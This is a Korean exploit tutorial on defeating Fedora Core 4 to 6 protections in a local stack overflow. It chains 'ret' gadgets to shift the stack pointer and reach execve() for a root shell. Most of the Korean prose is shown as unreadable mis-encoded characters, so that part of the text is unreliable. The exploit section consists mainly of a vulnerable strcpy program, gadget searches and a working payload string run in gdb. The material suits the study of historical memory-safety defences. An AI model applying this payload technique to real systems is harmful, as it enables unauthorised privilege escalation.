------------------------------------------------------------------------------------------------------ Á¦¸ñ: Fedora Core 4,5,6 ³»¿¡¼­ local ½ºÅà ±â¹Ý overflow exploit ¹æ¹ý (Fedora Core 4,5,6 based local stack overflow exploit method) ºÎÁ¦: ret(pop %eip) Äڵ带 ÀÌ¿ëÇÑ local °ø°Ý ±â¹ý (¾â¹Ì¿î $esp ·¹Áö½ºÅÍ Á¶Á®º¸±â) Å×½ºÆ® ȯ°æ: Fedora Core release 4 (Stentz) Linux 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org ------------------------------------------------------------------------------------------------------ ¸ñ Â÷: 0x0. Fedora Core 4 system °£´Ü ºÐ¼® 0x1. exploit ÇØ°á ¹æ¾È: ret(pop %eip) ÄÚµå ÀÌ¿ëÇϱâ 0x2. real exploit 0x3. ³¡ ¸ÎÀ½ 0x4. º°Ã· ÄÚµå --------------------------------------------------------------------------------------------------- 0x0. Fedora Core 4 system °£´Ü ºÐ¼® °è¼Ó ½Ã¸®Áî ¹°·Î Fedora Core system¿¡ ´ëÇØ ºÐ¼®ÇÑÁöµµ ¾î¾ð º¸¸§ÀÌ ´Ù µÇ¾î°£´Ù. Fedora Core 3 systemÀ» ÇÑ⠺м® ÁßÀÌ´ø Âû³ª¿¡ Fedora Core 4 system¿¡ ´ëÇÑ ¼Ò½ÄÀ» Á¢ÇÏ°Ô µÇ¾ú°í, µÚ´Ê°Ô ¼³Ä¡ ÈÄ, ºÐ¼®ÇÏ°Ô µÇ¾ú´Ù. Fedora Core 3 system°ú º°´Ù¸¥ Â÷ÀÌÁ¡ÀÌ ¾øÀ» °Í¸¸ °°¾Ò´ø ³» ¿¹»óÀº ÀûÀýÈ÷ ºø³ª°¡°í ¸»¾Ò´Ù. ±×·³ Áö±ÝºÎÅÍ Fedora Core 4 systemÀÌ ¾î¶»°Ô ¹Ù²î°Ô µÇ¾ú´ÂÁö °£´ÜÇÏ°Ô ºÐ¼®Çغ¸µµ·Ï ÇϰڴÙ. (1) À¯ÃßÇÒ ¼ö ¾ø°Ô µÇ¾î¹ö¸° ½ºÅà ÁÖ¼Ò ¿¹Àü Fedora Core 3 system¿¡¼­´Â ÇÁ·Î±×·¥À» ÀÚ½Ä ÇÁ·Î¼¼½º·Î ½ÇÇàÇÏ¸é ºÎ¸ð ÇÁ·Î¼¼½º¿Í ½ºÅà ÁÖ¼Ò°¡ µ¿ÀÏÇÏ°Ô ¼³Á¤µÇ´Â Çö»óÀ» Á¾Á¾ ¸ñ°ÝÇÒ ¼ö ÀÖ´Ù. À̸¦ ÅëÇØ ºñ±³Àû ½±°Ô random-stackÀ» À¯ÃßÇÒ ¼ö ÀÖ¾ú´Ù. ±×·¯³ª Fedora Core 4 system¿¡¼­´Â ¾ÈŸ±õ°Ôµµ ½ºÅà ÁÖ¼Ò¸¦ À¯ÃßÇϱâ Èûµé¾îÁ³´Ù. Á÷Á¢ Å×½ºÆ®Çغ» °á°ú, ºÎ¸ð ÇÁ·Î¼¼½º¿Í ÀÚ½Ä ÇÁ·Î¼¼½ºÀÇ ½ºÅÃÀÌ µ¿ÀÏÇÏ°Ô ¼³Á¤µÇ´Â °æ¿ì°¡ ´Ü Çѹøµµ ¾ø¾ú±â ¶§¹®ÀÌ´Ù. ¾ÈŸ±õ°Ôµµ ÇØÄ¿°¡ ½ºÅÿ¡ ÀÔ·ÂÇÑ Á¤º¸¸¦ ÀçȰ¿ëÇÒ ¼ö ÀÖ´Â ±âȸ´Â »ç¶óÁø µíÇÏ´Ù. -- Ãß °¡ -- Àç¹ÌÀÖ°Ôµµ, ÀÌ »çÇ×Àº Fedora Core 4¿¡¼­¸¸ ±×·± °Í °°´Ù. Fedora Core 5,6¿¡¼­ ½ÃÇèÇØº»¹Ù ºÎ¸ð¿Í ÀÚ½Ä ÇÁ·Î¼¼½º ½ºÅÃÀÌ µ¿ÀÏÇÏ°Ô ¸ÊÇεǴ °æ¿ì°¡ Á¾Á¾ ¹ß»ýÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ¾ú´Ù. -- (2) ½ÇÇàÀÌ ºÒ°¡´ÉÇÏ°ÔµÈ ¸Þ¸ð¸® °ø°£ Fedora Core 3 system ±îÁö´Â heap ¸Þ¸ð¸® °ø°£À» ÀÌ¿ëÇÏ¿© »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ Äڵ带 ½ÇÇàÇÒ ¼ö ÀÖ¾ú´Ù. (ºñ·Ï stackÀº nonexec »óÅÂÀÏÁö¶óµµ) ±×·¡¼­ shellcode¸¦ heap¿¡ º¹»çÇÑ ÈÄ, ½ÇÇàÀÌ °¡´ÉÇß´Ù. ÇÏÁö¸¸ ¾÷±×·¹ÀÌµå µÈ Fedora Core 4 system¿¡¼­´Â »ç¿ëÀÚ°¡ ÀÔ·Â °¡´ÉÇÑ ¸ðµç ¸Þ¸ð¸® ¿µ¿ª¿¡ ´ëÇØ nonexec ¼Ó¼ºÀ» °®´Â´Ù. À̷νá shellcode¸¦ ÀÌ¿ëÇÑ ÀϹÝÀûÀÎ exploitÀº Á¶¸¸°£ linux »ó¿¡¼­ »ç¶óÁúÁöµµ ¸ð¸£°Ú´Ù. (3) Return-to-Library ±â¹ýÀ» ÅëÇÑ ¸í·É¾î ½ÇÇà °ø°Ý Â÷´Ü ¿¹Àü Fedora Core 3 system¿¡¼­´Â ÇÔ¼ö ÁÖ¼Ò¿¡ NULLÀ» Æ÷ÇÔÇϵµ·Ï 16m ¹Ì¸¸ÀÇ ¶óÀ̺귯¸® ÁÖ¼Ò¸¦ »ç¿ëÇÏ¿© ¿©·¯ ÇÔ¼ö°¡ call µÇ´Â ÇàÀ§¸¦ ¹æÁöÇÏ°í ¸í·É ÀÎÀÚ°¡ ÇÔ¼ö ´ÙÀ½¿¡ À§Ä¡ÇÒ ¼ö ¾øµµ·Ï ÇÏ¿´´Ù. ±×·¯³ª $ebp ·¹Áö½ºÅÍ Á¶ÀÛÀ» ÅëÇÑ ¸í·É ÀÎÀÚ ÁöÁ¤ÀÌ ¿©ÀüÈ÷ °¡´ÉÇϱ⠶§¹®¿¡ shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀÌ Á¸ÀçÇß¾ú´Ù. ±×·±µ¥ ¾ÈŸ±õ°Ôµµ À̹ø Fedora Core 4 system¿¡¼­´Â ÀÌ ¹æ¹ý¸¶Àúµµ Â÷´Ü´çÇÑ °Í °°´Ù. ¾î¶»°Ô ÀÌ·¯ÇÑ Â÷´ÜÀÌ °¡´ÉÇÑ °ÍÀÎÁö °£´ÜÈ÷ ºÐ¼®Çغ¸°Ú´Ù. --------------------------------------------------------------------------------------------------- Fedora Core 3 system() ÇÔ¼ö: ... : mov 0x8(%ebp),%esi <---- $ebp + 0x08 À§Ä¡ÀÇ ³»¿ëÀ» ÂüÁ¶. ... Fedora Core 4 system() ÇÔ¼ö: ... : mov 0x10(%esp),%edi <--- $esp + 0x10 À§Ä¡ÀÇ ³»¿ëÀ» ÂüÁ¶. ... --------------------------------------------------------------------------------------------------- Àß »ìÆìº¸¸é, Fedora Core 3 ½Ã½ºÅÛ¿¡¼­´Â system() ÇÔ¼öÀÇ ÀÎÀÚ·Î µé¾î°¡´Â ¸í·É¾î¸¦ $ebp + 0x8 À§Ä¡¿¡¼­ Àоî¿Â´Ù. ±×·¸±â ¶§¹®¿¡ stack overflow°¡ ÀÌ·ç¾îÁø »óȲ¿¡¼­´Â ÇØÄ¿°¡ $ebp ·¹Áö½ºÅ͸¦ Á¶ÀÛÇÒ ¼ö ÀÖÀ¸¹Ç·Î, ½ÇÇàÇÒ ¸í·É±îÁöµµ ÁöÁ¤ÇÒ ¼ö ÀÖ¾ú´Ù. ±×·±µ¥, Fedora Core 4 ½Ã½ºÅÛÀÇ system() ÇÔ¼ö´Â ÇØÄ¿°¡ Á÷Á¢ÀûÀ¸·Î Á¶ÀÛÇÒ ¼ö ¾ø´Â À§Ä¡¿¡ ÀÖ´Â $esp ·¹Áö½ºÅÍ À§Ä¡¸¦ ÂüÁ¶ÇÏ¿© ¸í·É ÀÎÀÚ¸¦ Àоî¿Â´Ù. (¹°·Ð $esp¸¦ Á¶ÀÛÇÏ´Â ¹æ¹ýµµ ÀÖÀ½) ÀÌ¿Í °°ÀÌ ±âÁ¸¿¡ ½ÃµµµÆ´ø system() ÇÔ¼ö¿¡ ÀÇÇÑ Return-to-Library °ø°ÝÀ» Â÷´ÜÇÒ ¼ö ÀÖ´Ù. --------------------------------------------------------------------------------------------------- Fedora Core 3 execve() ÇÔ¼ö: ... : mov 0xc(%ebp),%ecx <--- $ebp + 0x0c À§Ä¡¿¡¼­ µÎ ¹øÂ° ÀÎÀÚ ÂüÁ¶. ... : mov %edi,0x4(%esp) : mov 0x10(%ebp),%edx <-- $ebp + 0x10 À§Ä¡¿¡¼­ ¼¼ ¹øÂ° ÀÎÀÚ ÂüÁ¶. : mov 0x8(%ebp),%edi <--- $ebp + 0x08 À§Ä¡¿¡¼­ ù ¹øÂ° ÀÎÀÚ ÂüÁ¶. : xchg %ebx,%edi : mov $0xb,%eax : call *%gs:0x10 ... Fedora Core 4 execve() ÇÔ¼ö: ... : mov 0xc(%esp),%edi <--- $esp + 0x0c À§Ä¡¿¡¼­ ù ¹øÂ° ÀÎÀÚ ÂüÁ¶. : mov 0x10(%esp),%ecx <-- $esp + 0x10 À§Ä¡¿¡¼­ µÎ ¹øÂ° ÀÎÀÚ ÂüÁ¶. : mov 0x14(%esp),%edx <-- $esp + 0x14 À§Ä¡¿¡¼­ ¼¼ ¹øÂ° ÀÎÀÚ ÂüÁ¶. : xchg %ebx,%edi : mov $0xb,%eax : call *%gs:0x10 ... --------------------------------------------------------------------------------------------------- execve() ÇÔ¼ö ¿ª½Ã ¸¶Âù°¡ÁöÀÌ´Ù. ¿¹Àü ½Ã½ºÅÛ¿¡¼­´Â ÇÔ¼öÀÇ ¸í·É ÀÎÀÚ¸¦ $ebp + 0x8 À§Ä¡¿¡¼­ Àоî¿ÔÀ¸³ª, À̹ø Fedora Core 4 ½Ã½ºÅÛ¿¡¼­´Â $esp ·¹Áö½ºÅ͸¦ ÂüÁ¶ÇÏ¿© ¾ò¾î¿Àµµ·Ï º¯°æµÇ¾ú´Ù. À̷νá ÇØÄ¿´Â ½ÇÇà °ü·Ã ÇÔ¼öÀÇ ¸í·É ÀÎÀÚ¿¡ ´ëÇÑ Á¢±Ù ±ÇÇÑÀ» ÀÒ°Ô µÇ¾ú´Ù. ÀÌ·¸°Ô ÀÌÀü ½Ã½ºÅÛ º¸´Ù ´õ °­·ÂÇØÁø nonexec-user-memory, random-stack, random-library µîÀÇ ´Ù¾çÇÑ º¸¾È ¸ÅÄ¿´ÏÁòÀ» Á¦°øÇϹǷνá, ±âÁ¸ Fedora Core 3 system±îÁö ½ÃµµµÇ¾ú´ø ´ëºÎºÐÀÇ °ø°Ý ±â¹ýµéÀ» ¹«·ÂÈ­ ½ÃÄ×´Ù. 0x1. exploit ÇØ°á ¹æ¾È: ret(pop %eip) ÄÚµå ÀÌ¿ëÇϱ⠻õ·Ó°Ô ´Þ¶óÁø local ½Ã½ºÅÛ »ó¿¡¼­ root ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ´Â ¿©·¯°¡Áö overflow exploit ¹æ¹ý¿¡ ´ëÇØ »ý°¢Çغ¸µµ·Ï ÇÏÀÚ. ÀÌ ½Ã½ºÅÛ¿¡¼­´Â shellcode¸¦ ÀÌ¿ëÇÑ ¹æ¹ýÀ» »ç¿ëÇÒ ¼ö ¾øÀ¸¹Ç·Î, ¾Æ¹«·¡µµ Return-to-Library °ø°Ý ±â¹ýÀ» ÀÌ¿ëÇØ¾ß ÇÒ °Í °°´Ù. ¹®Á¦´Â ¾î¶»°Ô $esp ·¹Áö½ºÅ͸¦ Á¶ÀÛÇÏ´À³Ä°¡ °ü°ÇÀÌ µÇ°Ú´Ù. ¿ì¼± ÇÁ·Î±×·¥ ³»¿¡¼­ $esp ·¹Áö½ºÅÍÀÇ È帧ÀÌ ¾î¶»°Ô µÇ´ÂÁö »ý°¢Çغ¸ÀÚ. main() ÇÔ¼ö°¡ ¼öÇàµÇ°í, ÇÁ·Ñ·Î±× °úÁ¤ÀÌ ³¡³ª°Ô µÇ¸é, main() ÇÔ¼ö ³»ÀÇ Áö¿ª º¯¼ö¸¦ ÀúÀåÇϱâ À§ÇÑ °ø°£À» ¸¸µç´Ù. ÀÌ·¸°Ô main() ÇÔ¼ö ÇÁ·¹ÀÓÀº º£À̽º Æ÷ÀÎÅÍÀÎ $ebp ·¹Áö½ºÅÍ À§Ä¡¿¡¼­ main() ÇÔ¼ö ³» Áö¿ª º¯¼ö °ø°£À» »« $esp ·¹Áö½ºÅ͸¦ stack pointer·Î ÁöÁ¤ÇÑ´Ù. main() ÇÔ¼öÀÇ ¼öÇàÀÌ ³¡³ª´Â ½ÃÁ¡¿¡¼­ ¼öÇàµÇ´Â leave ¸í·É¿¡ ÀÇÇØ $ebp ·¹Áö½ºÅÍ´Â main() ÇÔ¼ö ÀÌÀüÀÇ º£À̽º Æ÷ÀÎÅ͸¦ º¹±¸Çϰí, $esp ·¹Áö½ºÅÍ´Â main() ÇÔ¼ö º£À̽º Æ÷ÀÎÅÍ ($ebp ·¹Áö½ºÅÍ) + 4byte À§Ä¡·Î À̵¿µÈ´Ù. (±× ÀÌÀ¯´Â mov %ebp,%esp ¸í·É ÈÄ, pop %ebp Çϱ⠶§¹®) ÀÌ °úÁ¤À» ±×¸²À¸·Î »ìÆìº¸ÀÚ. ¿¹¸¦ µé¾î, $ebp°¡ 1000À̶ó¸é, Áö¿ª º¯¼öÀÇ Å©±â°¡ 300À̶ó ÇÒ ¶§ main() ÇÔ¼ö ÇÁ·¹ÀÓÀº ´ÙÀ½°ú °°Àºµ¥, --------------------------------------------------------------------------------------------------- +-- 700 ---+ stack pointer ($esp) | | | 300 | main() frame ¼öÇà Áß. | | +-- 1000 ---+ base frame pointer ($ebp) leave ¼öÇà ÈÄ, ´ÙÀ½°ú °°ÀÌ µÈ´Ù. +-- 1004 ---+ stack pointer ($esp) (¿ø·¡ 1004 À§Ä¡¿¡´Â ÀÌÀü frameÀ» °¡¸®Å°´Â return address°¡ ÀÖÀ½) | | | ... | main() frame¿¡¼­ ÀÌÀü ÇÔ¼ö frameÀ¸·Î º¹±ÍÇϱâ Á÷Àü. | | +-- 2000 ---+ º¹±¸µÈ ÀÌÀü base frame pointer ($ebp) ¿©±â¼­ ret ¸í·ÉÀ» ¼öÇàÇϸé, +-- 1008 ---+ stack pointer ($esp) | | | ... | ÀÌÀü ÇÔ¼ö frameÀ¸·Î º¹±Í ¿Ï·á. | | +-- 2000 ---+ base frame pointer ($ebp) --------------------------------------------------------------------------------------------------- ÀÌ·¸°Ô leave ¸í·ÉÀ» ½ÇÇà ÇÔ°ú µ¿½Ã¿¡ $esp ·¹Áö½ºÅÍÀÇ °ªÀº ¿ì¸®°¡ Á¶ÀÛÇÑ $ebp + 4ÀÇ À§Ä¡·Î ¿À°Ô µÈ´Ù. (°á·ÐÀº ±×·¸´Ù) ±×·¸±â ¶§¹®¿¡ ¿ì¸®°¡ ¸¸¾à $ebp ·¹Áö½ºÅ͸¦ Á¶ÀÛÇÑ ÈÄ, return address¸¦ leave ¸í·ÉÀÌ ÀÖ´Â À§Ä¡·Î ÁöÁ¤ÇÒ °æ¿ì, ÇØ´ç ¸í·É ½ÇÇà¿¡ ÀÇÇØ $esp ·¹Áö½ºÅÍÀÇ À§Ä¡´Â ¿ì¸®°¡ Á¶ÀÛÇÑ $ebp + 4 ÁÖ¼Ò·Î ¼³Á¤ÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ±×·¯³ª, ÀÌ ¹æ¹ý¿¡´Â ÇØ°áÇϱ⠾î·Á¿î Ä¡¸íÀûÀÎ ¹®Á¦Á¡ÀÌ Á¸ÀçÇÑ´Ù. leave ¸í·ÉÀ» ÅëÇØ ¿ì¸®°¡ ¿øÇÏ´Â ÁÖ¼Ò·Î $esp ·¹Áö½ºÅ͸¦ ¼³Á¤ÇÑ´Ù°í ÇØµµ random-stack ¶§¹®¿¡ ¿ì¸®°¡ ¿øÇÏ´Â À§Ä¡·Î ÁöÁ¤Çϱâ Èûµé°í °áÁ¤ÀûÀ¸·Î, Á¶ÀÛµÈ $esp ·¹Áö½ºÅÍ À§Ä¡¿¡ ÀÖ´Â ÁÖ¼Ò °ªÀÌ return address·Î ½ÇÇàµÇ±â ¶§¹®¿¡ ¿øÇÏ´Â ÄÚµå °ªÀ» ÀÔ·ÂÇØ ³ÖÁö ¸øÇϸé, segfault °á°ú¸¦ ¾ò°Ô µÈ´Ù. ¶ÇÇÑ, ÀϹÝÀûÀÎ stack ±â¹Ý overflow °ø°ÝÀº »ç¿ëÀÚ°¡ ÀÔ·ÂÇÒ ¼ö ÀÖ´Â °ø°£ÀÌ random ¼Ó¼ºÀ» °¡Áø stack¿¡ ÇÑÁ¤µÇ¾î ÀÖ°í, NULLÀ» Æ÷ÇÔÇÏ´Â randomÇÑ library ÇÔ¼ö ÁÖ¼Ò¸¦ ¿ì¸®°¡ Á¶ÀÛÇÑ $esp ·¹Áö½ºÅÍ À§Ä¡¿¡ ÀÔ·ÂÇØ ³Ö±â ¾î·Æ±â ¶§¹®¿¡ (¸í·É¾î ÀÎÀÚ¸¦ ÁöÁ¤ÇÏ´Â ¹®Á¦¸¦ ¶°³ª¼­) ÀÌ ¹æ¹ýÀ¸·Ð ¿øÇÏ´Â Return-to-Library °ø°ÝÀ» ½ÃµµÇϱ⠾î·Á¿ï °ÍÀ¸·Î ÆÇ´ÜµÈ´Ù. ±×·³, À̹ø¿£ ´Ù¸¥ ¹æ¹ýÀ» »ý°¢Çغ¸µµ·Ï ÇÏÀÚ. $esp ·¹Áö½ºÅÍÀÇ À§Ä¡¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ °õ°õÈ÷ »ý°¢ÇÏ´ø Áß, ¹¦¾È ÇѰ¡Áö°¡ ¶°¿À¸£°Ô µÇ¾ú´Ù. ±×°ÍÀº ¹Ù·Î, ret code³ª nop code¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ´Ù. ¸¸¾à return address¸¦ ret, nop code°¡ ÀÖ´Â À§Ä¡·Î º¯°æÇÏ¸é ¾î¶°ÇÑ ÀÏÀÌ ¹ß»ýÇÒ±î? $ebp ·¹Áö½ºÅÍÀÇ À§Ä¡¿Í´Â ÀüÇô »ó°ü¾øÀÌ code´Â $esp ·¹Áö½ºÅÍÀÇ À§Ä¡¿¡ ÀÖ´Â return address¸¦ ÂüÁ¶ÇÏ¿© ÀÌÀü frameÀ¸·Î º¹±Í¸¦ ½ÃµµÇÑ´Ù. ¿©±â¼­ $esp ·¹Áö½ºÅÍ °ªÀº 4byte ¸¸Å­ À̵¿µÇ´Âµ¥ ±× ÀÌÀ¯´Â return address¸¦ pop ÇÏ¿© (pop %eip) º¹±ÍÇϱ⠶§¹®ÀÌ´Ù. ÀÌ·¸°Ô À̵¿µÈ $esp ·¹Áö½ºÅÍ´Â ÀÌÀü frameÀÇ stack pointerÀÇ À§Ä¡°¡ µÈ´Ù. °á°úÀûÀ¸·Î, ¿ø·¡ return address À§Ä¡¿¡¼­ ret, nop code¸¦ ¼öÇàÇϸé $esp°¡ 4byte À̵¿µÇ±â ¶§¹®¿¡ ¸Å¿ì Æí¸®ÇÏ°Ô $esp ·¹Áö½ºÅÍÀÇ À§Ä¡¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ret, nop code ¼öÇà ÈÄ, µ¹¾Æ¿Â ´ÙÀ½ code(return address +4)´Â ¶Ç ´Ù½Ã º¹±Í¸¦ ½ÃµµÇÑ´Ù. ¸¸¾à ÇöÀç Á¤»óÀûÀÎ return addressÀÇ À§Ä¡°¡ 10¿¡ ÀÖÀ» ¶§, ret, nop code¸¦ ¼öÇàÇϸé, --------------------------------------------------------------------------------------------------- |<- ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ ->| ... 10 14 18 22 (return address°¡ 4byte¾¿ µÚ·Î À̵¿) |...--------------------------|------|------|------|-----------------------------...| [ret] [nop] [nop] [XXXX] | ^ | ^ | ^ | | | | | | +----+ +----+ +-----+ ($esp ·¹Áö½ºÅͰ¡ 4byte¾¿ À̵¿) $esp+4 $esp+4 $esp+4 (pop ¸í·É¿¡ ÀÇÇØ °è¼Ó ½ºÅÃÀÌ ÁÙ¾îµë) --------------------------------------------------------------------------------------------------- À§¿Í °°ÀÌ $esp ·¹Áö½ºÅÍ´Â 4byte¾¿ À̵¿µÈ´Ù. ÀÌÁ¦ ¿ì¸®´Â ¿øÇÏ´Â ¸í·É ÀÎÀÚ À§Ä¡°¡ ³ª¿Ã ¶§±îÁö $esp ·¹Áö½ºÅ͸¦ À̵¿½Ã۱⸸ ÇÏ¸é µÈ´Ù. ÀÌ·¯ÇÑ À̵¿ ÀÛ¾÷À» ÅëÇØ, ½ÇÇà °ü·Ã ÇÔ¼öÀÇ ÀÎÀÚ·Î ÀûÀýÇÑ °ªÀÌ ³ª¿Ã ¶§±îÁö stackÀ» Ž»öÇÏ¿© ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î, execve() ÇÔ¼öÀÇ °æ¿ì, ÃÑ ¼¼ °³ÀÇ ÀÎÀÚ¸¦ ÇÊ¿ä·Î Çϴµ¥, ù ¹øÂ° ÀÎÀÚ °ªÀÌ ½ÇÇàÇÒ ¼ö ÀÖÀ» ¸¸ÇÑ °íÁ¤°ªÀ» °¡Áö°í ÀÖÀ¸¸é¼­, µÎ~¼¼ ¹øÂ° ÀÎÀÚÀÇ Á¶°ÇÀ» ¸¸Á·ÇÏ´Â ±×·± °ªÀ» ã¾ÆÁÖ¸é µÈ´Ù. Ž»ö °á°ú, stack¿¡¼­ execve() ÇÔ¼ö ÀÎÀÚ·Î ¸¸Á·ÇÏ´Â °ªµéÀ» ãÀ» ¼ö ÀÖ¾ú´Ù. :-} --------------------------------------------------------------------------------------------------- exploit ½ÇÇà ÈÄ stackÀÇ ±¸Á¶: [<- ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ ->] [buffer][ebp][ret][ buffer ] [XXXXXXXX...][nop][nop][nop][nop][nop][execve()'s addr][XXXX][XXXX][arg1][arg2][arg3] ^ ^ ^ ^ ^ +-----------------------> | | | | (flow) +--- now $esp | | | $esp+0xc | | $esp+0x10 | $esp+0x14 --------------------------------------------------------------------------------------------------- À§ÀÇ ±¸Á¶´ë·Î stackÀÌ ±¸¼ºµÈ´Ù¸é, ¼º°øÀûÀ¸·Î ¸í·É ÀÎÀÚ¸¦ ½ÇÇàÇÒ ¼ö ÀÖ´Ù. À̷νá, stack pointer¸¦ ÀÓÀÇ·Î À̵¿½Ãų ¼ö ÀÖ´Â Áß¿äÇÑ ¹æ¹ýÀ» ¹è¿ü´Ù. À̹ø exploit ½ÃÇè¿¡¼­´Â execve() ÇÔ¼ö¸¦ ±âÁØÀ¸·Î ¼³¸íÇÒ °ÍÀÌ´Ù. °ø°Ý ¿ø¸®¸¦ ÆÄ¾ÇÇÏ°í ³ª¸é, ¾ÕÀ¸·Î´Â ¸Å¿ì ½±°Ô exec* °è¿­ ÇÔ¼ö¸¦ ÅëÇØ exploitÀ» ½ÃµµÇغ¼ ¼ö ÀÖÀ» °ÍÀÌ´Ù. 0x2. real exploit ±×·³, ½ÇÁ¦ exploitÀ» Àû¿ëÇØº¸µµ·Ï ÇϰڴÙ. execve() ÇÔ¼ö¸¦ ÅëÇØ ¸í·É¾î¸¦ ½ÇÇàÇϱâ·Î °áÁ¤ÇÏ¿´´Ù. ¿ì¼±, execve() ÇÔ¼öÀÇ À§Ä¡¸¦ ¾ò¾î¾ß Çϴµ¥, library ÁÖ¼Ò°¡ °è¼Ó random ÇÏ°Ô º¯ÇϹǷÎ, ´ÙÀ½°ú °°ÀÌ execve() ÇÔ¼ö ÁÖ¼Ò¸¦ ¾ò¾î³õÀ» ¼ö ÀÖ´Ù. -- [root@localhost tmp]# cat strcpy.c int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); } [root@localhost tmp]# gcc -o strcpy strcpy.c [root@localhost tmp]# ldd strcpy linux-gate.so.1 => (0x00f3c000) libc.so.6 => /lib/libc.so.6 (0x00111000) <--- random ÇÑ ¶óÀ̺귯¸® ÁÖ¼Ò /lib/ld-linux.so.2 (0x006c9000) [root@localhost tmp]# objdump -T /lib/libc.so.6 | grep -w execve 0008d1ac w DF .text 00000049 GLIBC_2.0 execve [root@localhost tmp]# -- ¶óÀ̺귯¸® ÁÖ¼Ò¸¦ ¾òÀº ÈÄ, libc.so.6 ÆÄÀÏ ³»ÀÇ execve() ÇÔ¼ö À§Ä¡¸¦ ¾ò´Â´Ù. ÀÌ µÎ °ªÀ» ´õÇÑ ÁÖ¼Ò¿¡ execve() ÇÔ¼ö°¡ ³õ¿©Áö°Ô µÇ´Âµ¥, °è¼Ó random ÇÏ°Ô º¯ÇϹǷÎ, ¾ò¾î³õÀº ÁÖ¼Ò¿¡ execve() ÇÔ¼ö°¡ ´Ù½Ã À§Ä¡ÇÒ ¶§±îÁö ¿©·¯¹ø ¹Ýº¹ÇÏ¿© °ø°ÝÀ» ¼öÇàÇØÁÖ¸é random library ½ÇÇà ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ±×·³, ret ¸í·É codeÀÇ À§Ä¡¸¦ ¾òÀº ÈÄ, ½ÇÁúÀûÀÎ °ø°ÝÀ» ½ÃµµÇغ¸µµ·Ï ÇÏÀÚ. -- [root@localhost tmp]# objdump -d strcpy | grep ret 8048296: c3 ret 804831f: c3 ret 8048351: c3 ret 804837a: c3 ret 80483b1: c3 ret 80483eb: c3 ret 8048402: c3 ret 8048408: c3 ret 8048430: c3 ret 804844d: c3 ret [root@localhost tmp]# -- ³»°¡ ½ÃÇèÇÏ´Â Fedora Core 4 systemÀÇ °æ¿ì, ret, nop code¸¦ 9¹ø Á¤µµ È£ÃâÇØ º» °á°ú, execve() ÇÔ¼öÀÇ ÀÎÀÚ·Î ¾²ÀÏ °íÁ¤µÈ ù ¹øÂ° ÀÎÀÚ °ª°ú µÎ~¼¼ ¹øÂ° ÀÎÀÚ °ªÀÇ Á¶°ÇÀ» ¸¸Á·ÇÏ´Â ÀûÇÕÇÑ À§Ä¡¸¦ ãÀ» ¼ö ÀÖ¾ú´Ù. main() ÇÔ¼ö°¡ ¾Æ´Ñ ´Ù¸¥ ÇÔ¼ö¿¡¼­ ¹ß»ýÇÏ´Â overflow °ø°ÝÀÏÁö¶óµµ ret, nop code¸¦ ¿©·¯¹ø È£ÃâÇÏ¿© Àû´çÇÑ À§Ä¡¸¦ °Ë»öÇØº» °á°ú, ºñ±³Àû ½±°Ô °ø°ÝÀ» ¼º°ø½Ãų ¼ö ÀÖ¾ú´Ù. -- [root@localhost tmp]# gdb -q strcpy (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". ... (gdb) br execve Breakpoint 1 at 0x19e1ac (gdb) r 000011112222`printf "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x9 6\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\xac\xe1\x19\x00"` The program being debugged has been started already. Start it from the beginning? (y or n) y warning: cannot close "shared object read from target memory": File in wrong format Starting program: /var/tmp/strcpy 000011112222`printf "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\ x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\ x04\x08\xac\xe1\x19\x00"` Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0x3ad000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x0019e1ac in execve () from /lib/libc.so.6 (gdb) disass execve Dump of assembler code for function execve: 0x0019e1ac : push %edi 0x0019e1ad : push %ebx 0x0019e1ae : call 0x125c60 <__i686.get_pc_thunk.bx> 0x0019e1b3 : add $0x98e41,%ebx 0x0019e1b9 : mov 0xc(%esp),%edi <--- ÀÌ ºÎºÐ¿¡ break¸¦ °É°í $esp À§Ä¡¸¦ °Ë»çÇØº¸¸é... 0x0019e1bd : mov 0x10(%esp),%ecx 0x0019e1c1 : mov 0x14(%esp),%edx 0x0019e1c5 : xchg %ebx,%edi 0x0019e1c7 : mov $0xb,%eax 0x0019e1cc : call *%gs:0x10 0x0019e1d3 : xchg %edi,%ebx 0x0019e1d5 : mov %eax,%edx 0x0019e1d7 : cmp $0xfffff000,%edx 0x0019e1dd : ja 0x19e1e2 0x0019e1df : pop %ebx 0x0019e1e0 : pop %edi 0x0019e1e1 : ret 0x0019e1e2 : neg %edx 0x0019e1e4 : mov 0xffffff1c(%ebx),%eax 0x0019e1ea : mov %edx,%gs:(%eax) 0x0019e1ed : mov $0xffffffff,%eax 0x0019e1f2 : pop %ebx ---Type to continue, or q to quit---q Quit 